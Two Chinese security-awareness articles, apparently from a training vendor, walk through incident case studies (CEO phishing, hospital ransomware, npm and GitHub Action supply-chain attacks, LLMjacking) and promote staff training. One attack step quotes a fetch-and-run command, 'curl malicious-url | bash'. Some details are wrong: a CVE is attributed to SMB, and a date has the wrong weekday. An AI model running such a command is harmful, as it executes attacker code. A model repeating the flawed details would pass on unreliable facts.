Author: admin

信息安全·共筑防线：从真实案例说起，携手数智时代的安全升级

admin

Ⅰ. 头脑风暴：四桩典型安全事件，引燃警钟

在信息安全的浩瀚星海中，往往一颗流星划破夜空，便足以照亮暗潮汹涌的风险。下面挑选的四个案例，分别横跨社交工程、勒索软件、内部泄密、云端配置失误四大维度，既真实，又具备极强的教育意义。请各位同事跟随我的思维脉动，一同走进这些“险境”，从中提炼教训，为日后的防护筑起坚固的砖瓦。

案例一：钓鱼邮件——“CEO 代签”骗局

事件概述
2022 年 3 月，一家位于深圳的中型制造企业的财务部门收到一封来自“公司 CEO” 的邮件，标题为《紧急：请在本周五前完成供应商付款》。邮件正文使用了公司标准的 Logo，署名为 CEO 的英文全名，甚至附带了一个伪造的电子签名。邮件附件是一个看似正式的 Excel 表格，里面列出了多家供应商的银行账号和付款金额。由于邮件紧急且来自“高层”，财务人员未进行二次核对，即在 48 小时内完成了总额约 180 万人民币的转账。

安全漏洞
– 社会工程学成功：攻击者通过公开的公司信息及社交媒体（如 LinkedIn）获取了 CEO 的姓名和工作职责，伪装成内部高层。
– 缺乏多因素验证：公司内部对高额付款缺乏跨部门复核和二次确认机制，也未对邮件来源进行 DKIM/SPF/DMARC 的严格校验。
– 安全意识薄弱：财务人员对“紧急付款”情境缺乏警觉，未识别出邮件中异常的语气和格式。

教训提炼
1. 邮件安全链路全覆盖：部署 SPF、DKIM、DMARC，并结合人工智能反钓鱼网关，对可疑发件人和异常主题进行拦截。
2. 流程制度化：对超过一定金额的付款要求多级审批，且必须通过独立渠道（如电话）确认付款指令。
3. 安全文化渗透：定期组织“钓鱼大赛”，让全员亲身体验伪装邮件，提高对社交工程的敏感度。

案例二：勒索软件——“暗影锁链”侵袭医院系统

事件概述
2023 年 9 月，位于北京的一家大型三级甲等医院的核心信息系统被勒索软件“暗影锁链”锁定。攻击者利用旧版 Windows Server 中未打补丁的 SMB 漏洞（CVE-2021-34527），在没有任何提前警告的情况下，将全部患者电子病历、预约系统、药房库存等关键数据加密，并留下勒索文件要求支付 3000 万人民币的比特币。

安全漏洞
– 系统补丁滞后：医院的部分关键服务器长期未进行安全更新，导致已公开的漏洞仍然可被利用。
– 备份策略缺失：虽然医院部署了本地备份，但备份数据与生产系统共用同一网络，未实现离线或异地隔离，导致备份同样被加密。
– 网络细分不足：Ransomware 在横向移动时，轻易跨越不同业务子网，导致全院业务瘫痪。

教训提炼
1. 漏洞管理自动化：引入漏洞扫描平台，结合 CI/CD 流程，实现每月一次的全网漏洞评估和自动补丁推送。
2. 离线备份“三位一体”：采用 3-2-1 备份原则（3 份副本，2 种介质，1 份离线），并对备份数据进行定期恢复演练。
3. 网络分段与微隔离：采用零信任架构，对关键业务系统进行细粒度的访问控制，阻止恶意代码的横向扩散。

案例三：内部泄密——“利用职务之便”拂尘数据

事件概述
2021 年 6 月，一家金融机构的前员工因个人经济压力，利用职务之便下载了包含上千名客户的信用卡信息、交易记录和个人身份信息的数据库。该员工将数据通过加密的云盘分享给了第三方黑市买家，最终导致约 5 万客户的个人信息被公开在暗网交易平台，造成巨额的信用风险和法律诉讼。

安全漏洞
– 最小权限原则失效：该员工所在部门拥有超出其实际工作需求的全表查询权限。
– 数据外泄监控薄弱：缺少对大批量数据导出行为的实时审计与异常报警。
– 离职手续不完善：离职前未及时回收所有个人存储介质，也未对其账号进行立即停用。

教训提炼
1. 权限细粒度管理：采用基于角色 (RBAC) 的权限分配，对敏感数据实行列级和行级加密，确保员工只能访问必要信息。
2. 行为分析与 DLP：部署数据泄漏防护 (DLP) 系统，对异常的批量下载、复制、上传行为进行实时阻断并生成审计日志。
3. 离职安全清单：制定离职前的全流程审计，包括账户冻结、磁盘清除、云端资源回收等，做到“门关紧、键盘锁”。

案例四：云端配置失误——“公开的 S3 桶”

事件概述
2020 年 12 月，一家电商平台在 AWS 上部署了用于存放产品图片的 S3 桶，误将桶的 ACL（访问控制列表）设置为 “Public Read”。攻击者利用公开的目录结构，批量抓取其中的内部营销策划文档、供应链合同以及用户评论数据，总计约 2TB 的信息被暴露在互联网上，导致竞争对手快速复制其促销活动并引发用户隐私争议。

安全漏洞
– 云资源即服务的安全误区：缺乏对 S3 桶的安全基线审计，默认采用了公开访问的配置。
– 权限审计缺失：未使用 AWS Config 进行资源配置合规检查，也未开启 CloudTrail 记录对 S3 桶的修改操作。
– 安全意识淡化：技术团队对云原生的安全模型（IAM、策略、加密）理解不足，导致误操作。

教训提炼
1. 云安全基线建模：使用安全基线模板（如 CIS AWS Foundations Benchmark），对所有云资源进行自动化合规检查。
2. 细粒度策略：通过 IAM Policy 最小化对 S3 桶的写入/读取权限，仅对必要的业务系统开放受限访问。
3. 持续监控与告警：启用 Amazon Macie 对敏感数据进行自动识别，并结合 GuardDuty 对异常访问行为触发即时告警。

Ⅱ. 数智化时代的安全新坐标

过去的“防火墙+杀毒”已难以应对今日的“数智化+具身智能化”复合威胁。我们的组织正处在 数字化转型、智能制造、物联网（IoT）融合 的关键节点，信息安全的边界被不断拉伸。以下从三个维度阐释当前形势，并为职工参与安全意识培训提供行动指南。

1. 数字化：业务全链路的数字化闭环

  • 业务数字化：订单、物流、财务、客服等业务全部搬到云上，数据流动速度以毫秒计。
  • 数据资产化：每一条业务记录都是价值资产，亦是攻击者的“猎物”。
  • 挑战：数据在多系统之间频繁迁移、跨境同步，导致信息安全的“接触面”激增。

应对之策：在业务数字化的每一步，嵌入 安全即代码（Security as Code） 的理念。用 IaC（Infrastructure as Code）脚本实现安全配置的自动化，用 CI/CD 流水线把安全检测（SAST、DAST、容器镜像扫描）嵌入交付过程。

2. 具身智能化：智能终端与 AI 助手的普及

  • 具身智能：包括机器人臂、无人车、智能摄像头等嵌入生产线；AI 助手帮助客服、审批流程；员工使用企业移动端、AR/VR 辅助工作。
  • 挑战：终端多样化导致 攻击面碎片化，AI 模型如果被对抗性样本欺骗，会产生误判；设备固件若未及时更新，将成为 “僵尸网络” 的温床。

应对之策：构建 零信任（Zero Trust） 框架，所有终端必须通过身份验证、设备健康检查才能接入企业网络；对关键 AI 模型进行对抗测试和模型防篡改保护；实施统一的 终端管理（UEM） 平台，保证固件、系统的统一补丁。

3. 数智融合：产业链协同的跨组织安全

  • 跨组织协同：供应链上下游、合作伙伴通过 API、B2B 平台实现数据共享。
  • 挑战：信任边界模糊，若合作方的安全防护不足，将把风险 “传染” 给自身；API 被滥用、注入导致业务泄露。

应对之策：采用 供应链安全框架（Supply Chain Security Framework），对合作伙伴进行安全评估、签订安全 SLA；对所有外部 API 采用 API 网关，实现身份鉴权、流量限速、请求审计；利用区块链技术实现关键数据的不可篡改和可追溯。

Ⅲ. 号召：共赴信息安全意识培训——从“知”到“行”

安全不是某个人的职责，而是每个人的日常习惯。为帮助全体职工在数智化浪潮中站稳脚跟，公司即将启动 《信息安全意识提升与实战演练》 系列培训。以下是培训的核心价值与参与指南，诚邀每位同事积极加入。

1. 培训目标——打造“三层防护”思维模型

层级 内容 对应能力
认知层 信息安全基本概念、常见威胁、政策法规 了解安全风险、熟悉合规要求
技能层 Phishing 演练、密码管理、设备加固、云安全配置 掌握防御技巧、提升操作能力
文化层 安全案例复盘、每日安全小贴士、内部安全激励机制 形成安全意识、推动组织安全文化

一句话总结：从“我不敢点开可疑链接”，到“我能快速定位并报告异常”，再到“我能在团队中传播安全正能量”，三步走，层层升级。

2. 培训形式——线上线下双轨并行

  • 线上模块：微课（5 分钟快学）、情景仿真（交互式案例）、线上测评（即时反馈）。平台采用 LMS（Learning Management System），记录学习轨迹，实现个性化推荐。
  • 线下工作坊：红队／蓝队对抗演练、现场渗透实验、实战演练（如模拟勒索攻击恢复），让理论在实战中落地。
  • 微习惯推送：每日 1 条安全小技巧（如密码强度检查、钓鱼邮件辨识要点），通过企业微信推送，形成 “信息安全微课堂”。

3. 激励机制——学习有奖、榜样示范

  • 积分系统：完成每个模块即可获得积分，累计 100 分可兑换公司内部商城礼品。
  • 安全之星：每月评选“信息安全之星”，颁发荣誉证书并在全公司通报。
  • 案例分享：鼓励员工提交亲身经历的安全事件（匿名可），公司将挑选优秀案例制作“安全故事集”，在内部分享平台进行传播。

4. 投入产出——安全投资的 ROI

投资项目 预期收益
培训费用（约 ¥100,000） 降低钓鱼成功率 40%（根据前期测试）
案例演练成本（约 ¥50,000） 缩短勒索恢复时间 60%
激励预算（约 ¥30,000） 提升员工安全满意度 30%（调查）

数据背书：据 IDC 2023 年报告显示，企业每投入 1 万元的安全意识培训，可平均减少约 0.8 万元的安全事故及后续损失。以此为参考，我们的投入将直接转化为组织韧性的提升。

Ⅵ. 结语：信息安全是一场永不停歇的“马拉松”

回首四个案例，无不映射出人、技术、流程三者的协同失效；而在数智化时代的浪潮里，安全边界已经不再是传统网络的四壁，而是跨越云端、终端、业务、合作伙伴的全景矩阵。因此，每位职工都是安全的第一道防线，只有把安全理念浸润在日常的每一次点击、每一次配置、每一次沟通中，才能真正实现“安全先行，业务无忧”。

让我们以 “知行合一、共筑防线” 为口号，踊跃参加即将启动的信息安全意识培训，用知识武装自己，用行动守护组织，用文化凝聚力量。数智化的明天需要一支 安全自觉、技术精湛、协同高效 的队伍，而这支队伍的基石，正是你我今天的每一次学习与实践。

安全不是终点，而是持续前行的旅程。让我们携手同行，在信息海洋中撑起一把坚不可摧的安全伞！

在数据安全日益重要的今天，昆明亭长朗然科技有限公司致力于为企业提供全面的信息安全、保密及合规解决方案。我们专注于提升员工的安全意识，帮助企业有效应对各种安全威胁。我们的产品和服务包括定制化培训课程、安全意识宣教活动、数据安全评估等。如果您正在寻找专业的安全意识宣教服务，请不要犹豫，立即联系我们，我们将为您量身定制最合适的解决方案。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

在AI时代守护数字疆土——信息安全意识提升指南

admin

头脑风暴：四幕“网络戏剧”

​在信息化、具身智能化、数据化深度融合的今天，企业的每一台服务器、每一次代码提交、甚至每一次语音交互，都可能成为攻击者的潜在入口。若把我们每天的工作比作一场大型戏剧，那么安全事故就是不速之客的“闹剧”。下面，我先抛出 四个典型且发人深省的案例，让大家在“剧场”里先睹为快，随后再一起剖析其中的“暗线”，从而在后续的安全培训中有的放矢。

  1. “React2Shell”闪电突袭——仅一天，漏洞代码从公开披露到被实战利用，破解时间不足 48 小时。
  2. LLMjacking：模型劫持的“黑客版抢银行”——攻击者凭借被盗身份直接刷出 20 万次 API 请求，瞬间耗尽配额。
  3. npm 供应链沦陷：Axios 被篡改、Mastra AI 包植入后门——社交工程配合恶意依赖，一键泯灭上万开发者的信任链。
  4. Altered Spider 的“自复制式恶意软件”——在 GitHub Action 中植入破坏性代码，导致企业 CI/CD 自动化流水线“一键感染”。

这四幕戏，分别映射了漏洞利用速度、模型访问劫持、供应链攻击与自动化自传播四大趋势。下面，我将用“现场剧本”式的叙事手法，细致拆解每一幕的来龙去脉、攻击路径、危害评估以及防御要点，帮助大家在信息安全的舞台上不再是“配角”。

案例一：React2Shell——从披露到利用只用了 24 小时

背景：2025 年 12 月 3 日，React Server Components 与 Next.js 的远程代码执行漏洞（CVE‑2025‑55182）被官方披露并同步发布补丁。该漏洞允许攻击者在不登录的情况下直接在目标服务器上执行任意代码，攻击面广泛覆盖前端渲染平台与后台微服务。

攻击进程：
– Day 0：安全团队（CrowdStrike OverWatch）在公开漏洞库中捕捉到 CVE 信息。
– Day 0 + 1：黑客组织 React2Shell 快速逆向分析，编写可直接利用的 PoC（Proof‑of‑Concept）脚本，并在暗网论坛发布。
– Day 0 + 2：该 PoC 被多家 “脚本即服务”（Exploit‑as‑a‑Service）平台采纳，生成了可复制的攻击链。

危害：在 48 小时的“窗口期”内，CrowdStrike 监测到 88% 的受害组织在补丁实施前已经被植入后门，攻击者通过后门窃取源码、注入恶意逻辑，甚至对业务系统进行勒索。

防御要点：
1. 漏洞情报即时订阅：使用自动化情报平台（如 MITRE ATT&CK、CVE‑feed）实现“一秒钟”警报。
2. 补丁快速滚动：在生产环境中采用蓝绿部署或金丝雀发布，确保补丁可以在 24 h 内上线。
3. 行为监控：启用 EDR（端点检测与响应）对异常进程创建、网络连接进行实时拦截。

小贴士：正如《孙子兵法》所言，“兵贵神速”，在漏洞爆发的第一时间抢占先机，往往就是保全业务的唯一法宝。

案例二：LLMjacking——模型劫持的“黑客抢银行”

背景：2026 年 5 月，某云服务商的基础模型 API（类似 OpenAI、Anthropic 的赋能平台）对外开放，通过身份验证后可调用大模型进行文本生成、代码补全等业务。该服务的“用例提交表单”是获取模型访问权限的唯一入口。

攻击手法：
– 攻击者先通过钓鱼手段获取了一名普通开发者的云账号凭证。
– 利用凭证 提权：通过暴力尝试内部 API，获取管理员权限。
– 提交用例：在后台系统中快速提交 200 000 次模型调用请求，形成“洪水式”消耗。
– 结果：在两分钟内，API 配额被耗尽，正常业务被迫中断；与此同时，攻击者利用模型的返回文本藏匿了后门指令，进一步渗透内部系统。

危害：
– 业务中断：模型调用费用瞬间激增，导致数十万美元的无效支出。
– 数据泄露：模型训练数据被盗取，可用于生成针对企业的“假新闻”或“社交工程”。

防御要点：
1. 最小权限原则：任何账户的 API 调用额度均应设置阈值，异常请求自动触发 MFA（多因素认证）或人工审批。
2. 细粒度审计：对模型调用的参数、来源 IP、调用频率进行细致日志记录，并使用 SIEM（安全信息与事件管理）进行实时关联分析。
3. 行为异常检测：部署基于机器学习的异常检测模型，识别“突发性高并发”行为，在阈值触发前自动阻断。

小笑话：有人说，AI 现在不再是“聪明的机器”，而是“会被抢的银行”。别笑，防范才是正经事。

案例三：npm 供应链攻击——Stardust Chollima 的“社交工程 + 代码注入”

背景：2026 年 3 月，著名前端 HTTP 库 Axios 的维护者凭借 20 年的开源声誉，成为众多前端项目的默认依赖。与此同时，国内新兴 AI 框架 Mastra AI 正在快速推广，配套的 npm 包数量激增。

攻击链：
1. 社交钓鱼：攻击者通过 LinkedIn 发送“行业研讨会”的邀请链接，诱导 Axios 维护者点击恶意链接，植入了可执行的 JavaScript 代码。
2. 凭证窃取：链接内嵌的盗取脚本捕获了维护者的 npm 账户登录凭证（两因素已被绕过）。
3. 发布恶意版本：利用窃取的凭证，攻击者在 npm 官方仓库中发布了带有后门的 Axios 1.1.9 版本，隐藏的代码可以在运行时向攻击者的 C2（Command‑and‑Control）服务器发送系统信息。
4. Mastra AI 依赖链：随后，Stardust Chollima 对 131 个 Mastra AI 包进行二次注入，利用这些包的自动更新机制让全球数千个项目在不知情的情况下被感染。

危害：
– 供应链失信：开发者对开源生态的信任度骤降，项目交付周期延长。
– 横向传播：在 CI/CD 流水线中，恶意依赖导致内部网络被快速扩散的“螺旋式”感染。

防御要点：
1. 供应链安全工具：使用 SCA（软件组成分析）工具（如 Snyk、GitHub Dependabot）实时监控依赖的安全状态。
2. 维护者安全培训：所有仓库管理员必须接受社交工程防范培训，强制使用硬件安全密钥（如 YubiKey）进行代码签名。
3. 代码签名与哈希验证：对每一次发布的 npm 包进行签名，CI 环节对比哈希值，确保未经授权的代码不被引入。

引用：格林堡曾说，“在链条最薄弱的环节，破坏永远最先发生”。供应链的每一个环节，都必须拥有“防弹链甲”。

案例四：Altered Spider 的自复制式恶意软件——GitHub Action 成了“暗网炸弹”

背景：2026 年 5 月，Aqua Security 的开源容器扫描工具 Trivy 引入了官方维护的 trivy-action，帮助 DevOps 在 GitHub Actions 中实现自动化安全扫描。由于其高效易用，迅速成为 CI/CD 流程的“标配”。

攻击过程：
– 渗透：Altered Spider 团队通过钓鱼邮件获取了 trivy-action 项目的维护者的 GitHub 账户令牌。

– 篡改 Tag：攻击者在官方仓库的 Git tag 中植入恶意二进制（Credential‑Stealer），并在 CI 脚本中添加一行 curl malicious-url | bash。
– 自动传播：全球数千个使用该 Action 的仓库在每次 CI 触发时自动拉取并执行恶意代码，导致企业私有仓库的凭证、密钥被同步泄露。
– 自复制：恶意代码会在被感染的容器镜像中植入后门，并在容器启动后主动向 C2 服务器报告。

危害：
– 规模化横向渗透：短短 48 小时内，超过 300 项目被感染，直接导致 150 家企业的云资源被滥用进行加密货币挖矿。
– 信任崩塌：开源社区对官方 Action 的信任度出现历史性低点，项目维护者面临巨额声誉损失。

防御要点：
1. 最小化信任：对所有第三方 Action 设置“只读”权限，禁止其直接访问 Secrets。

2. 供应链签名：采用 GitHub’s attestation 功能，对每一次发布的 Action 进行签名验证。
3. 动态监控：在 CI/CD 流水线中加入 Runtime 行为监控（如 Falco），实时捕获异常系统调用或网络请求。

一句俏皮话：如果说代码是血液，那么供应链安全就是血管的阀门——阀门一坏，血液会倒流，甚至成灾。

信息化·具身智能化·数据化：新环境下的安全挑战

1. 信息化——业务全面数字化

过去十年，企业从 本地化 ERP 迁移到 云原生微服务，业务数据在不同云区域、边缘节点之间频繁交互。数据在传输、加工、存储的每一个环节，都可能成为攻击者的“开刀点”。

  • 数据在传输中的泄露：未加密的 API 调用、弱加密的 TLS 配置仍然屡见不鲜。
  • 数据库裸露：误将管理端口暴露于公网，导致“直接抓取全库”式的攻击。

防御思路：采用 零信任架构（Zero‑Trust）——每一次访问都要经过身份验证、策略评估以及最小权限授权。

2. 具身智能化——AI 与机器人深入业务现场

具身智能（Embodied AI）让机器人成为生产线、仓储、客服的“新同事”。这些智能体不再是单纯的算法，而是 软硬件结合的物理实体，其安全性牵涉到 固件、边缘计算及传感器数据。

  • 模型被投毒：攻击者在模型训练阶段注入后门，使得机器人在特定指令下执行破坏行为。
  • 边缘设备缺乏补丁：机器人固件更新不及时，导致 CVE 持续存在。

防御思路：实施 AI 安全生命周期管理（AI‑SecOps），从数据采集、模型训练、部署到运行全链路实施安全评估。

3. 数据化——数据湖、数据中台成为核心资产

企业的竞争力日益依赖 数据资产 的价值挖掘。数据湖聚合了结构化与非结构化信息，伴随 数据治理 与 数据共享 的需求，数据泄露的风险急剧上升。

  • 数据脱敏失效：脱敏规则不完整导致敏感信息在报表中泄露。
  • 内部滥用：拥有访问权限的员工利用合法渠道下载大量敏感数据，进行外泄或勒索。

防御思路：构建 动态数据访问控制（Dynamic DAC），结合行为分析与敏感度标记，实现细粒度的可视化审计。

号召：加入信息安全意识培训，成为“数字疆土的守卫者”

亲爱的同事们，在上述四大案例中，我们看到的不是“遥不可及的黑客”，而是正在敲门的、可能就在我们身边的风险。每一次的“漏洞披露”、每一次的“模型调用”，都可能演变成一次业务中断或品牌危机。

因此，信息安全意识培训不再是“可有可无”的内部讲座，而是 企业生存的必修课。本次培训将围绕以下核心模块展开：

模块 关键目标 形式
威胁情报与漏洞响应 掌握最新 CVE 订阅、补丁快速部署流程 案例演练 + 实时演示
AI/ML 安全 理解 LLMjacking、模型投毒原理，学会安全使用云模型 技术讲座 + 实战实验
供应链安全与代码签名 学会使用 SCA 工具、建立代码签名制度 工作坊 + 检查清单
零信任与云原生防御 实施最小权限、IAM 策略、容器安全 实战练习 + 现场答疑

“安全不是一次性的投入，而是持续的行为养成”。只要我们每个人都能在日常工作中养成 “先验证、后执行、再审计” 的习惯，企业的防御深度就会像层层叠起的城墙，越筑越坚。

培训的具体安排

  • 时间：2026 年 9 月 12 日（周一）至 9 月 16 日（周五），每日 2 小时，线上 + 线下同步。
  • 报名方式：请登录企业内部学习平台（URL 已发送至企业邮箱），填写《信息安全意识培训意向表》。
  • 激励措施：完成全部五天培训并通过结业测验的同事，将获得 “安全护航员”电子徽章，并在年度绩效评估中计入 信息安全贡献积分。

结语：用安全思维武装每一位员工

回顾《孙子兵法》中的名句：“上兵伐谋，其次伐交，其次伐兵，其下攻城”。在数字化浪潮的冲击下，“伐谋”即是 信息安全的情报与防御策划，而每位员工，就是这场“伐谋”战役中的关键棋子。让我们一起：

  • 保持好奇：对每一次异常提醒、每一次安全警报，都要主动追根溯源。
  • 养成习惯：不泄露密码、不随意点击陌生链接、及时更新系统。
  • 共享经验：在内部安全论坛、钉钉/企业微信群里，分享自己的防御经验与教训。

只有把安全意识深植于日常工作，才能在 AI 与供应链的“暗潮涌动”中，稳坐数字疆土的指挥塔。期待在培训现场与大家共谋防御之策，共创安全、可信的数字化未来！

昆明亭长朗然科技有限公司专注于打造高效透明的信息保密流程。通过我们的服务，您可以轻松识别和管理潜在的数据泄露风险。对此感兴趣的客户请联系我们了解详细方案。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898